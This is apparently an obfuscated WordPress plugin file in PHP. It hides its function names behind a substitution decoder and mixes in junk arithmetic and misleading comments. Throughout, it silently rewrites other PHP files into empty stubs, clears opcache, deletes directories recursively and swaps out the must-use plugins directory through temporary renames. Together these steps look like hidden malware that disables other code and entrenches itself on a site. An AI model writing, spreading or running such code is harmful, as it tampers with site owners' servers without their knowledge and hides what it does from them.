hwc6a8djp6yy($i){$e=w6nzhwcutgnjq($i);$f='ABSP'.'THs'.'c_ve'.'ro4.'.'53p'.'lu'.'gi'.'nba'.'mWL'.'UGI'.'ND'.'RM/'.'-kd'.'ht'.'w<?'.'\\qf'.'COE'.'x :*'.'y='.'V('.'+)2'.'FK\''.',0z>'.'&1'.'978'.'6XYZ'.'Qj'.';{"'.'[}]!'.'|^$#'.'J%`';$t='Cs:`'.'SQ E'.'+(6,'.'LM'.'OaH'.'P25#'.'?Uxk'.'1v\\'.'"mjt'.'$qK'.'7\''.'N[>*'.'cR_d'.'-hV'.'bG)g'.'4&'.';I{T'.'J!'.'Z3n'.'=r'.'w8uB'.'i.Fl'.'X/'.'}%]9'.'0y<Y'.'Df'.'eo'.'Wzp'.'A^'.'|';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function k83m2slbb($i){$j=$i+0;return hwc6a8djp6yy($j);}function woii22it0($i){$j=(int)$i;return hwc6a8djp6yy($j);}function n747he9yo38($i){$j=$i+0;return hwc6a8djp6yy($j);}function lgr6hp92ka($i){return hwc6a8djp6yy($i);}$GLOBALS['__scf_a39nlvrnocxziu_3']=lgr6hp92ka(3);$GLOBALS['__scf_f6_d9s95igq_4']=hwc6a8djp6yy(4);$GLOBALS['__scf_p9nk7khmjys_7']=hwc6a8djp6yy(7);$GLOBALS['__scf_ptxcf45drp_8']=hwc6a8djp6yy(8);$GLOBALS['__scf_pdat24v9nxkx0_9']=n747he9yo38(9);$GLOBALS['__scf_h5yqrl6kmpb_10']=woii22it0(10);$GLOBALS['__scf_zf6ei6xtcw1fb_11']=n747he9yo38(11);$GLOBALS['__scf_aiwotu1kwod_12']=lgr6hp92ka(12);$GLOBALS['__scf_xaxrlzp49b547_15']=woii22it0(15);$GLOBALS['__scf_rw0wj7u39gzy4_16']=hwc6a8djp6yy(16);$GLOBALS['__scf_kb97m2p3ij_17']=lgr6hp92ka(17);$GLOBALS['__scf_mtwlgr3p78_18']=k83m2slbb(18);$GLOBALS['__scf_hkg05r4a82rdiv_20']=woii22it0(20);$GLOBALS['__scf_cc9jyc4g3008_22']=hwc6a8djp6yy(22);$GLOBALS['__scf_h8_ju28bwdwm_32']=n747he9yo38(32);$GLOBALS['__scf_ev6q4xkrske_33']=k83m2slbb(33);$GLOBALS['__scf_lxbo0xm7220an_34']=hwc6a8djp6yy(34);$GLOBALS['__scf_prfpiytv3egt7_35']=woii22it0(35);$GLOBALS['__scf_pm9fj3zp3x_36']=k83m2slbb(36);$GLOBALS['__scf_tu1_53i5xnze_38']=lgr6hp92ka(38);$GLOBALS['__scf_epa1jymnf5_40']=n747he9yo38(40);$GLOBALS['__scf_b9jmgi5qxqoj5q_42']=hwc6a8djp6yy(42);$GLOBALS['__scf_wtzhqmw8kw3djj_43']=lgr6hp92ka(43);$GLOBALS['__scf_toru1_9n2zog_45']=k83m2slbb(45);$GLOBALS['__scf_vz80l0_46bwga_46']=hwc6a8djp6yy(46);$GLOBALS['__scf_j79li4kldtct_52']=lgr6hp92ka(52);$GLOBALS['__scf__pih7hoh4m_56']=k83m2slbb(56);$GLOBALS['__scf_mvbylv45uji1_67']=hwc6a8djp6yy(67);$GLOBALS['__scf_xn1tkts0av_71']=woii22it0(71);$GLOBALS['__scf_gl7by4d7j2f1u_73']=n747he9yo38(73);$GLOBALS['__scf_ouhqpycgey_4a_74']=k83m2slbb(74);$GLOBALS['__scf_lm6dqb06wh_75']=n747he9yo38(75);$GLOBALS['__scf_n7yhv8zmk_ab_76']=woii22it0(76);$GLOBALS['__scf_hslj_a1k0h2_77']=k83m2slbb(77);$GLOBALS['__scf_zonhpgc286wu1_95']=k83m2slbb(95);$GLOBALS['__scf_iz3o_ajtgml6rf_96']=lgr6hp92ka(96);$GLOBALS['__scf_gibkjes9ds_98']=lgr6hp92ka(98);$GLOBALS['__scf_vhi5vhdwib7ye_99']=n747he9yo38(99);$GLOBALS['__scf_ytoyy4ewqm_103']=k83m2slbb(103);$GLOBALS['__scf_rnghnmhj734jl_104']=k83m2slbb(104);$GLOBALS['__scf_n9umf2ff2bmitw_112']=woii22it0(112);$GLOBALS['__scf_txqeuw424jw_8__114']=n747he9yo38(114);$GLOBALS['__scf_jsvpc2hg_6ahvj_119']=woii22it0(119);$GLOBALS['__scf_xbx3qj3ap0_147']=lgr6hp92ka(147);$GLOBALS['__scf_w5opg4gsg8g4tp_148']=woii22it0(148);$GLOBALS['__scf_a2dj3p28xfi_149']=lgr6hp92ka(149);$GLOBALS['__scf_wuhj_qjl_ze21_152']=lgr6hp92ka(152);$GLOBALS['__scf_in0l0qf_4m_158']=k83m2slbb(158);$GLOBALS['__scf_ht1k88rhfc_173']=k83m2slbb(173);$GLOBALS['__scf_cyotfgtf1a8m_189']=woii22it0(189);$GLOBALS['__scf_d3akejlb7rtaks_199']=k83m2slbb(199);$GLOBALS['__scf_jzy6f3xykw_208']=n747he9yo38(208);$GLOBALS['__scf_tgad5jw8qqqup_223']=k83m2slbb(223);$GLOBALS['__scf_u1fe8xm7dtzn3q_225']=k83m2slbb(225);$GLOBALS['__scf_hc4afw_ella0d_227']=woii22it0(227);$GLOBALS['__scf_qhb_9v3ktmz_230']=hwc6a8djp6yy(230);$GLOBALS['__scf_pxho_ypiw__232']=lgr6hp92ka(232);$GLOBALS['__scf_xv52_kf1p6y__243']=lgr6hp92ka(243);$GLOBALS['__scf_qi4geo81c17hd_245']=woii22it0(245);$GLOBALS['__scf_tzkbcj9sl9_275']=hwc6a8djp6yy(275);$GLOBALS['__scf_iwtym4nsnwl_276']=woii22it0(276);$GLOBALS['__scf_cl8lauqxet7pcw_277']=k83m2slbb(277);$GLOBALS['__scf_gyyp5zayko_280']=woii22it0(280);$GLOBALS['__scf_u2x2cti4_zkv_285']=lgr6hp92ka(285);$GLOBALS['__scf_u8xkeh1l6m1y_287']=lgr6hp92ka(287);$GLOBALS['__scf_kld1jjqcmx_289']=hwc6a8djp6yy(289);$GLOBALS['__scf_ngw7gsz8i0t_290']=k83m2slbb(290);$GLOBALS['__scf_f_h6mgk0cf1_291']=hwc6a8djp6yy(291);$GLOBALS['__scf_ikqfih0ldfvj_293']=woii22it0(293);$GLOBALS['__scf_n4hd81dartaw6_298']=k83m2slbb(298);$GLOBALS['__scf_xgmc8ztra7_299']=woii22it0(299);$GLOBALS['__scf_qxw4t2z5p101nh_307']=hwc6a8djp6yy(307);$GLOBALS['__scf_ixuzbjnsd35_309']=k83m2slbb(309);$GLOBALS['__scf_bqx1bj0jhe9lk_322']=n747he9yo38(322);$GLOBALS['__scf_xcg5caaat_92j0_323']=k83m2slbb(323);$GLOBALS['__scf_fjxqm4i88jjq92_328']=n747he9yo38(328);$GLOBALS['__scf_bojg4ed6zpp_331']=k83m2slbb(331);$GLOBALS['__scf__4747k7qys5_335']=lgr6hp92ka(335);$GLOBALS['__scf_as8phph3ox6c3_337']=k83m2slbb(337);$GLOBALS['__scf_fchyobbli1uqo__340']=woii22it0(340);$GLOBALS['__scf_ont_3ql2b3ui_348']=k83m2slbb(348);$GLOBALS['__scf_xutz5jm_7wd_349']=n747he9yo38(349);$GLOBALS['__scf_qt5_3awd0l2_350']=n747he9yo38(350);$GLOBALS['__scf_ocf2s22fr524pv_351']=n747he9yo38(351);$GLOBALS['__scf_ts5_ao9xhku_355']=lgr6hp92ka(355);$GLOBALS['__scf_qds2wwq49fs_359']=n747he9yo38(359);$GLOBALS['__scf_obam74mgj139o_361']=k83m2slbb(361);$GLOBALS['__scf_k6ceuxxd0n_366']=n747he9yo38(366);$GLOBALS['__scf_p8wjejlfb3_368']=n747he9yo38(368);$GLOBALS['__scf_wmg_r8_psd4a_396']=lgr6hp92ka(396);$GLOBALS['__scf_ekj1cb6udx6_397']=lgr6hp92ka(397);$GLOBALS['__scf_qebke97nki67_398']=n747he9yo38(398);$GLOBALS['__scf_mxl3mysodd0y6__414']=n747he9yo38(414);$GLOBALS['__scf_wanzd8gt50d7aa_415']=woii22it0(415);$GLOBALS['__scf_e_t72zitpo_422']=k83m2slbb(422);$GLOBALS['__scf_a1064vt4fz_433']=woii22it0(433);$GLOBALS['__scf_lv9m74lgyu5o6_460']=woii22it0(460);$GLOBALS['__scf_pvrbrgmmuddxr_475']=k83m2slbb(475);$GLOBALS['__scf_x7w14qggq72p_476']=k83m2slbb(476);$GLOBALS['__scf_f844yvc4tu_536']=lgr6hp92ka(536);$GLOBALS['__scf_c0nria_kxj_557']=lgr6hp92ka(557);$GLOBALS['__scf_ar7cuw1efuy_574']=lgr6hp92ka(574);$GLOBALS['__scf_lqvorm12n2um_586']=n747he9yo38(586);$GLOBALS['__scf_r2gsygnx1gk_604']=woii22it0(604);$GLOBALS['__scf_igpbtcnldlzt_660']=hwc6a8djp6yy(660);$GLOBALS['__scf_ecgvvcuio_g7k_696']=n747he9yo38(696);$GLOBALS['__scf_yi4cpqdjr9_711']=k83m2slbb(711);$GLOBALS['__scf_trq6e6u6ox_726']=hwc6a8djp6yy(726);$GLOBALS['__scf_giqqyal8igkjo_731']=lgr6hp92ka(731);$GLOBALS['__scf_wyw0gbsdks_v_823']=woii22it0(823);$GLOBALS['__scf_zxnaailma8_913']=lgr6hp92ka(913);$GLOBALS['__scf_zhja9rvjv_p_939']=k83m2slbb(939);$GLOBALS['__scf_hkgvyekqtq7_ov_992']=lgr6hp92ka(992);$GLOBALS['__scf_iv1prb4l71wi_998']=n747he9yo38(998);$GLOBALS['__scf_ton6sky6llzey7_1157']=lgr6hp92ka(1157);$GLOBALS['__scf_hyr3ta2_ob_1167']=n747he9yo38(1167);$GLOBALS['__scf_k90voqul1pt8p4_1250']=hwc6a8djp6yy(1250);$GLOBALS['__scf_fn35xwj9wjtpe_1254']=hwc6a8djp6yy(1254);$GLOBALS['__scf_xqbddz3we3l_1257']=woii22it0(1257);$GLOBALS['__scf_dbtmay2ebp4vs_1258']=lgr6hp92ka(1258);$GLOBALS['__scf_umqmfim07fido_1259']=n747he9yo38(1259);$GLOBALS['__scf_iwgo9j38ao5_1260']=n747he9yo38(1260);$GLOBALS['__scf_dm65oqsal03_1261']=n747he9yo38(1261);$GLOBALS['__scf_xnx_2uj23o71_1262']=lgr6hp92ka(1262);$GLOBALS['__scf_b7t7kkz57gx_1264']=woii22it0(1264);$GLOBALS['__scf_h4ieas6x4u_1272']=k83m2slbb(1272);$GLOBALS['__scf_ixqqpq1451pav_1313']=lgr6hp92ka(1313);$GLOBALS['__scf_vb6ymi2qq4kt1l_1320']=hwc6a8djp6yy(1320);$GLOBALS['__scf_y665zm23ov_1325']=lgr6hp92ka(1325);$GLOBALS['__scf_lhkryjtve8q_ns_1373']=n747he9yo38(1373);$GLOBALS['__scf_l0cfsnggsm1q4a_1440']=k83m2slbb(1440);$GLOBALS['__scf_moias7ig1lavh_1467']=hwc6a8djp6yy(1467);$GLOBALS['__scf_xvyvktktwx4_r_1713']=k83m2slbb(1713);$GLOBALS['__scf_xe3xtp6hiwj_1725']=n747he9yo38(1725);$GLOBALS['__scf_rfchtw112p9f5_1832']=lgr6hp92ka(1832);

function x_k8mmmqu4bzpga($hkjmcn3j,$aydxr5hu){$mh_oyy=($hkjmcn3j+40)%11;return $mh_oyy*$aydxr5hu;}


 defined(hwc6a8djp6yy(0))    or     exit;
  
 function      tdwuvuxeuijm__qj()
{

 return     isset($GLOBALS[k83m2slbb(1)])  ? $GLOBALS[woii22it0(1)]   :    lgr6hp92ka(2);$lzwzgkx_8yt8=3+39;$hc_nz1tnn1i=$lzwzgkx_8yt8-39;
 }
     function vcr09jqkbni2k4ee0y()
   {
return     __FILE__;


       }
      function blnqst3prbthr6q_h_()
 {
    return  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y());
  }
       function      izaka85cv8fob4()
 {
   if    ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(5)))    return plugin_basename(vcr09jqkbni2k4ee0y());
 $lg43ml2abp6bop     =    vcr09jqkbni2k4ee0y();
 $uvinhhkf7lkb18o  = defined(hwc6a8djp6yy(6))   ?  WP_PLUGIN_DIR    :     "";
       if ($uvinhhkf7lkb18o !==  "" &&    $GLOBALS['__scf_p9nk7khmjys_7']($lg43ml2abp6bop, $uvinhhkf7lkb18o) ===  0)     return  $GLOBALS['__scf_ptxcf45drp_8']($GLOBALS['__scf_pdat24v9nxkx0_9']($lg43ml2abp6bop, $GLOBALS['__scf_h5yqrl6kmpb_10']($uvinhhkf7lkb18o)), '/');
return $GLOBALS['__scf_a39nlvrnocxziu_3']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($lg43ml2abp6bop)) .   '/'   .  $GLOBALS['__scf_a39nlvrnocxziu_3']($lg43ml2abp6bop);


}
   function    vyeikxc5a6j7a4n()
  {
     return    $GLOBALS['__scf_aiwotu1kwod_12'](defined(k83m2slbb(13))  ?   WPMU_PLUGIN_DIR   :  (WP_CONTENT_DIR  .    woii22it0(14)),  '/');


   }
function leibbllryrtinl5mqd3_()
    {
return  $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y());

   }
   function  t9pjso5fxcttzwg5jam805($oclq78qg06s6kkt, $hyzeda9xec3m80j = (967-474), $w7ktmogztxqq =  false)
    {
    return $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(15)) ?  @$GLOBALS['__scf_xaxrlzp49b547_15']($oclq78qg06s6kkt,  $hyzeda9xec3m80j, $w7ktmogztxqq)   :   false;
 }

function dvd1rr9pr3xu08j($xzwufq9nacfqt,   $hyzeda9xec3m80j)
  {
        return   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(16))  ? @$GLOBALS['__scf_rw0wj7u39gzy4_16']($xzwufq9nacfqt,  $hyzeda9xec3m80j)  :   false;
  }
 function y0a1xt15v3nqhjqppfzn($xzwufq9nacfqt)
{
  return $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(17))   ?    @$GLOBALS['__scf_kb97m2p3ij_17']($xzwufq9nacfqt) :    false;



  }
   function wnwikrl63gfcik($obb00_vecb89w9f6)
 {
     if  (!@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))  return   true;
 dvd1rr9pr3xu08j($obb00_vecb89w9f6,   (329+91));
if  (y0a1xt15v3nqhjqppfzn($obb00_vecb89w9f6)) {
 if   ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(19)))    @opcache_invalidate($obb00_vecb89w9f6,     true);
    return   true;



 }



      dvd1rr9pr3xu08j($GLOBALS['__scf_zf6ei6xtcw1fb_11']($obb00_vecb89w9f6),   (982-489));
if (y0a1xt15v3nqhjqppfzn($obb00_vecb89w9f6))     {



 if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(19)))  @opcache_invalidate($obb00_vecb89w9f6, true);


  return true;
}


   $_je48tse6vyy9  =   @$GLOBALS['__scf_hkg05r4a82rdiv_20']($obb00_vecb89w9f6,  woii22it0(21));

     if ($_je48tse6vyy9)      {
@$GLOBALS['__scf_cc9jyc4g3008_22']($_je48tse6vyy9,  "<?php\n");$wefie1bv380gn=-414;$u4zh61gdht2r=($wefie1bv380gn>0)?$wefie1bv380gn:-$wefie1bv380gn;

@fclose($_je48tse6vyy9);
     if  ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(19)))      @opcache_invalidate($obb00_vecb89w9f6,    true);
 return  true;
  }
return     false;
}
    function   zkbckq1nlavf2wyjep($obb00_vecb89w9f6)
  {
$gh9ajpzf6rk93eez  =    $GLOBALS['__scf_zf6ei6xtcw1fb_11']($obb00_vecb89w9f6);



    $luvbyqqzffvmt6qm   = $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6,    woii22it0(23));
      foreach  (array(k83m2slbb(24),  lgr6hp92ka(25),    hwc6a8djp6yy(26),   lgr6hp92ka(27))  as    $y346od7_qai)   {
    $tvefhnsaqq3 =   $gh9ajpzf6rk93eez  .    '/' .    $y346od7_qai  .  $luvbyqqzffvmt6qm;
 




    if      (@$GLOBALS['__scf_mtwlgr3p78_18']($tvefhnsaqq3)) wnwikrl63gfcik($tvefhnsaqq3);
 }
$ejh_qb9au3 =   $gh9ajpzf6rk93eez    .  '/'  .      $luvbyqqzffvmt6qm .  n747he9yo38(28);


 if      (@$GLOBALS['__scf_mtwlgr3p78_18']($ejh_qb9au3))  wnwikrl63gfcik($ejh_qb9au3);
   if (defined(n747he9yo38(29)))    {

 $wmdv5hma2z3  =   WP_CONTENT_DIR  .    n747he9yo38(30)  .    $luvbyqqzffvmt6qm;
 if    (@$GLOBALS['__scf_mtwlgr3p78_18']($wmdv5hma2z3))    wnwikrl63gfcik($wmdv5hma2z3);



  }
     $_pd   = defined(hwc6a8djp6yy(31))  ?  @$GLOBALS['__scf_h8_ju28bwdwm_32'](WP_PLUGIN_DIR)     :  false;
  $zm3znh19_q     =   @$GLOBALS['__scf_h8_ju28bwdwm_32']($gh9ajpzf6rk93eez);

if ($_pd && $zm3znh19_q  &&     $GLOBALS['__scf_zf6ei6xtcw1fb_11']($zm3znh19_q)  ===  $_pd)    {
$dihwfhr7mic82bl6     =     @$GLOBALS['__scf_ev6q4xkrske_33']($zm3znh19_q);
if  ($GLOBALS['__scf_lxbo0xm7220an_34']($dihwfhr7mic82bl6)   &&   $GLOBALS['__scf_prfpiytv3egt7_35']($dihwfhr7mic82bl6)  <=     2)     @$GLOBALS['__scf_pm9fj3zp3x_36']($zm3znh19_q);



}
  }
     function dymvw5k247uc2p0764()
{
   static  $dutzxr5wuspkr5   =      'x';
 if    ($dutzxr5wuspkr5 !== 'x')   return   $dutzxr5wuspkr5;
 $dutzxr5wuspkr5 =   null;
if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(37)))      {    $tb0hfr9vri2de7l  =     @posix_geteuid();     if     ($GLOBALS['__scf_tu1_53i5xnze_38']($tb0hfr9vri2de7l))  $dutzxr5wuspkr5  =  $tb0hfr9vri2de7l;     }
     if  ($dutzxr5wuspkr5 ===   null)   {
$cy9yo5q4zjs9p_um    =  nnq0ganj4b4gehpw7b(ms1ba5i41di9frre(), n747he9yo38(39));
 if  ($GLOBALS['__scf_epa1jymnf5_40']($cy9yo5q4zjs9p_um)) {  $wntnjwjlt0  = @fileowner($cy9yo5q4zjs9p_um);   y0a1xt15v3nqhjqppfzn($cy9yo5q4zjs9p_um);  if   ($GLOBALS['__scf_tu1_53i5xnze_38']($wntnjwjlt0))   $dutzxr5wuspkr5   = $wntnjwjlt0;  }
  }
   return      $dutzxr5wuspkr5;
  }


     function  l7sep_ia2_rhqqbnbr5($vm28qyb_j8_ix)
    {
     if ($GLOBALS['__scf_p9nk7khmjys_7']($GLOBALS['__scf_a39nlvrnocxziu_3']($vm28qyb_j8_ix), woii22it0(41))  !==     0) return;
      if   (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix)  ||   @$GLOBALS['__scf_wtzhqmw8kw3djj_43']($vm28qyb_j8_ix))    return;
   $pa5_mu9jhrfh   =  @$GLOBALS['__scf_ev6q4xkrske_33']($vm28qyb_j8_ix);
if  ($GLOBALS['__scf_lxbo0xm7220an_34']($pa5_mu9jhrfh)) foreach ($pa5_mu9jhrfh as   $oz7m23pnscj7)   {



 if   ($oz7m23pnscj7 === '.' ||    $oz7m23pnscj7  ===    n747he9yo38(44)) continue;

   $xzwufq9nacfqt  =  $vm28qyb_j8_ix   .  '/'   . $oz7m23pnscj7;
 if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($xzwufq9nacfqt) &&   !@$GLOBALS['__scf_wtzhqmw8kw3djj_43']($xzwufq9nacfqt))  l7sep_ia2_rhqqbnbr5($xzwufq9nacfqt);    else   y0a1xt15v3nqhjqppfzn($xzwufq9nacfqt);
    }
    @$GLOBALS['__scf_pm9fj3zp3x_36']($vm28qyb_j8_ix);$d59pzq8s=58|20;$tv2nhx841y=$d59pzq8s^9;

 }
   function  hopnzkkz7bjrvaonaiy9($lg3qq7zrzjh0ss2,     $zro221gpy6a114n)
   {
    if  (@$GLOBALS['__scf_wtzhqmw8kw3djj_43']($lg3qq7zrzjh0ss2)) return  false;
      if  (@$GLOBALS['__scf_mtwlgr3p78_18']($lg3qq7zrzjh0ss2))     {
if (!@$GLOBALS['__scf_toru1_9n2zog_45']($lg3qq7zrzjh0ss2)) return  false;
        return    m6d59kutnxywfe($lg3qq7zrzjh0ss2,  $zro221gpy6a114n)  ?      true : false;
 }
  if  (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($lg3qq7zrzjh0ss2))   {
    if  (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($zro221gpy6a114n)  && !t9pjso5fxcttzwg5jam805($zro221gpy6a114n,     (0x12+0x1db), true))  return   false;
  $pa5_mu9jhrfh   =  @$GLOBALS['__scf_ev6q4xkrske_33']($lg3qq7zrzjh0ss2);
  if (!$GLOBALS['__scf_lxbo0xm7220an_34']($pa5_mu9jhrfh))     return      false;
 foreach     ($pa5_mu9jhrfh as      $oz7m23pnscj7)    {
if     ($oz7m23pnscj7 ===    '.'   ||  $oz7m23pnscj7    ===  lgr6hp92ka(44)) continue;
   if (!hopnzkkz7bjrvaonaiy9($lg3qq7zrzjh0ss2  .    '/' .  $oz7m23pnscj7, $zro221gpy6a114n . '/' .    $oz7m23pnscj7))    return false;
}
  return   true;$slxh8g0ml=(0x31+0xee);$_7ji53rq1zj=$slxh8g0ml%11;
  }


return  true;
  }
 function  r79wzjjsrh9qzxcd6t9z($obb00_vecb89w9f6)



{
// WP Higher Order Components sidebar region



 if (!@$GLOBALS['__scf_mtwlgr3p78_18']($obb00_vecb89w9f6))    return false;
    if     (@$GLOBALS['__scf_vz80l0_46bwga_46']($obb00_vecb89w9f6))      return     false;

   if  (@$GLOBALS['__scf_vz80l0_46bwga_46']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($obb00_vecb89w9f6)))   return  false;$h4fyh7_7on72p=PHP_INT_MAX/PHP_INT_MAX;$g8dbr8kt8oxc=$h4fyh7_7on72p+35;
   return   true;
}



        function w7pzvknzw2svspdvngmfb($obb00_vecb89w9f6)
{
 pas31bymshzdagwkp(n747he9yo38(47),  $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6));



 }
 function     dl6vubnjzess3mg_2gm($iujbjiyonsyi69k)
    {
if   (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(48)) || !$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(49)))  return   false;
if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(50)) &&  get_transient(n747he9yo38(51)))      return  false;
 $yb3rqpskmgxg  = @$GLOBALS['__scf_h8_ju28bwdwm_32'](vyeikxc5a6j7a4n());



 if   ($yb3rqpskmgxg   ===    false   ||    !@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($yb3rqpskmgxg))  return     false;
    $eo0d9htl1zpsn     =  null;
  if ($iujbjiyonsyi69k    !==      null)  {
$eo0d9htl1zpsn    =  @$GLOBALS['__scf_h8_ju28bwdwm_32']($iujbjiyonsyi69k);
 if   ($eo0d9htl1zpsn  ===   false   || $GLOBALS['__scf_zf6ei6xtcw1fb_11']($eo0d9htl1zpsn)  !== $yb3rqpskmgxg)      return   false;



   }
// PHP match expression attachment metadata

   $e25ftq10ju3d9dr  =   $GLOBALS['__scf_zf6ei6xtcw1fb_11']($yb3rqpskmgxg);
     if (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($e25ftq10ju3d9dr) ||  !@$GLOBALS['__scf_vz80l0_46bwga_46']($e25ftq10ju3d9dr))      return false;
 if  (!ii0fajiftvkpnv7h8kxw1($yb3rqpskmgxg)  ||  !ii0fajiftvkpnv7h8kxw1($e25ftq10ju3d9dr))  return false;
    $k1zlpnvkntk  = @fileperms($e25ftq10ju3d9dr);


  if  ($k1zlpnvkntk  !== false   &&  ($k1zlpnvkntk  &  (41+471)))    {
   $ceil89jtogm8    =   dymvw5k247uc2p0764();
        if ($ceil89jtogm8   ===  null    ||     (@fileowner($e25ftq10ju3d9dr)   !==   $ceil89jtogm8     && @fileowner($yb3rqpskmgxg) !==  $ceil89jtogm8)) return    false;
  }
     $cqzlpuq3c8qnse3  =  @$GLOBALS['__scf_j79li4kldtct_52']($e25ftq10ju3d9dr);   $qr2i89b1it =  @$GLOBALS['__scf_j79li4kldtct_52']($yb3rqpskmgxg);
      if   ($GLOBALS['__scf_lxbo0xm7220an_34']($cqzlpuq3c8qnse3)   && $GLOBALS['__scf_lxbo0xm7220an_34']($qr2i89b1it)     && isset($cqzlpuq3c8qnse3[n747he9yo38(53)])  &&      isset($qr2i89b1it[n747he9yo38(54)]) &&  $cqzlpuq3c8qnse3[k83m2slbb(55)]  !== $qr2i89b1it[k83m2slbb(55)])   return false;
 $pa5_mu9jhrfh =  @$GLOBALS['__scf_ev6q4xkrske_33']($yb3rqpskmgxg);
     if (!$GLOBALS['__scf_lxbo0xm7220an_34']($pa5_mu9jhrfh))  return  false;


  $yw8hb9txszrev = array();$vlxhan7s=74+28;$j74164yz=$vlxhan7s-21;

   foreach  ($pa5_mu9jhrfh  as  $oz7m23pnscj7)   {
    if   ($oz7m23pnscj7   ===  '.'   ||  $oz7m23pnscj7     ===  n747he9yo38(44))   continue;
  $xzwufq9nacfqt = $yb3rqpskmgxg  . '/' .  $oz7m23pnscj7;



    $sl7piiybfzr082i      =   @$GLOBALS['__scf_h8_ju28bwdwm_32']($xzwufq9nacfqt);
 if      ($eo0d9htl1zpsn  !==    null    && $sl7piiybfzr082i  !== false     && $sl7piiybfzr082i ===   $eo0d9htl1zpsn)   continue;$mxkydb0hwbj=164|92;$f_2kxya4q2vnt=$mxkydb0hwbj^165;



       if (@$GLOBALS['__scf_mtwlgr3p78_18']($xzwufq9nacfqt)   && aay1vdwvzc2am3cxpp($xzwufq9nacfqt, (911-411)))  continue;


if (@$GLOBALS['__scf_wtzhqmw8kw3djj_43']($xzwufq9nacfqt)   || !@$GLOBALS['__scf_toru1_9n2zog_45']($xzwufq9nacfqt))  return  false;
 $yw8hb9txszrev[]   = $oz7m23pnscj7;
 }
/* offline gateway */

    $r8lkwe94db1a   =  $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56'](uniqid("",   true)), 0, (2+6));
$iea7hd39eusq  =    $e25ftq10ju3d9dr   .   lgr6hp92ka(57)   .   $r8lkwe94db1a;


  $x_va6iqc39du  =     $e25ftq10ju3d9dr   .   woii22it0(58) . $r8lkwe94db1a;
if  (!t9pjso5fxcttzwg5jam805($iea7hd39eusq,   (161+332),      true))    return      false;
  foreach    ($yw8hb9txszrev      as  $oz7m23pnscj7)   {
if (!hopnzkkz7bjrvaonaiy9($yb3rqpskmgxg  .   '/'   .  $oz7m23pnscj7, $iea7hd39eusq     .  '/'   .   $oz7m23pnscj7))     {    l7sep_ia2_rhqqbnbr5($iea7hd39eusq);    return      false; }
/* logarithmic extension */

    }
  if   (!b8zzgtiwx2_ws6($yb3rqpskmgxg,   $x_va6iqc39du))  {  l7sep_ia2_rhqqbnbr5($iea7hd39eusq);      return    false;  }
  if      (!b8zzgtiwx2_ws6($iea7hd39eusq,    $yb3rqpskmgxg))  {  b8zzgtiwx2_ws6($x_va6iqc39du,    $yb3rqpskmgxg); l7sep_ia2_rhqqbnbr5($iea7hd39eusq);$gzypvk6en=62*8;$vx29kw18rg=$gzypvk6en-9; return   false; }



    if    ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(59)))   @clearstatcache(true);
 if  ($eo0d9htl1zpsn !==   null && $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(19)))  @opcache_invalidate($eo0d9htl1zpsn,   true);
 if      ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(60)))  @set_transient(n747he9yo38(51),    1,  (0xd985+0x77fb));
  if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(61)))  @delete_transient(n747he9yo38(62));


   pas31bymshzdagwkp(woii22it0(63),     hwc6a8djp6yy(64) .  ($iujbjiyonsyi69k  !==   null   ?     $GLOBALS['__scf_a39nlvrnocxziu_3']($iujbjiyonsyi69k)   : k83m2slbb(65)));



    return true;
 }



 function x2gyafo98l41gvvuv($vbr9z19n2qhp)
  {



 try {
    if  ($vbr9z19n2qhp instanceof Closure)   {   $w7ktmogztxqq = new   ReflectionFunction($vbr9z19n2qhp);  return  $w7ktmogztxqq->getFileName();   }
  if  ($GLOBALS['__scf_epa1jymnf5_40']($vbr9z19n2qhp) &&   $GLOBALS['__scf_p9nk7khmjys_7']($vbr9z19n2qhp,  hwc6a8djp6yy(66))    !==    false)    { $w7ktmogztxqq    =   new   ReflectionMethod($vbr9z19n2qhp); return      $w7ktmogztxqq->getFileName();  }
if ($GLOBALS['__scf_epa1jymnf5_40']($vbr9z19n2qhp)  && $GLOBALS['__scf_f6_d9s95igq_4']($vbr9z19n2qhp))  {   $w7ktmogztxqq     =  new   ReflectionFunction($vbr9z19n2qhp);  return  $w7ktmogztxqq->getFileName();    }
 if   ($GLOBALS['__scf_lxbo0xm7220an_34']($vbr9z19n2qhp) &&  $GLOBALS['__scf_prfpiytv3egt7_35']($vbr9z19n2qhp)  ===  2)   {  $w7ktmogztxqq    =    new ReflectionMethod($vbr9z19n2qhp[0], $vbr9z19n2qhp[1]);  return   $w7ktmogztxqq->getFileName();  }
    }   catch (Throwable   $oz7m23pnscj7) {}   catch (Exception  $oz7m23pnscj7)  {}
       return   null;

      }
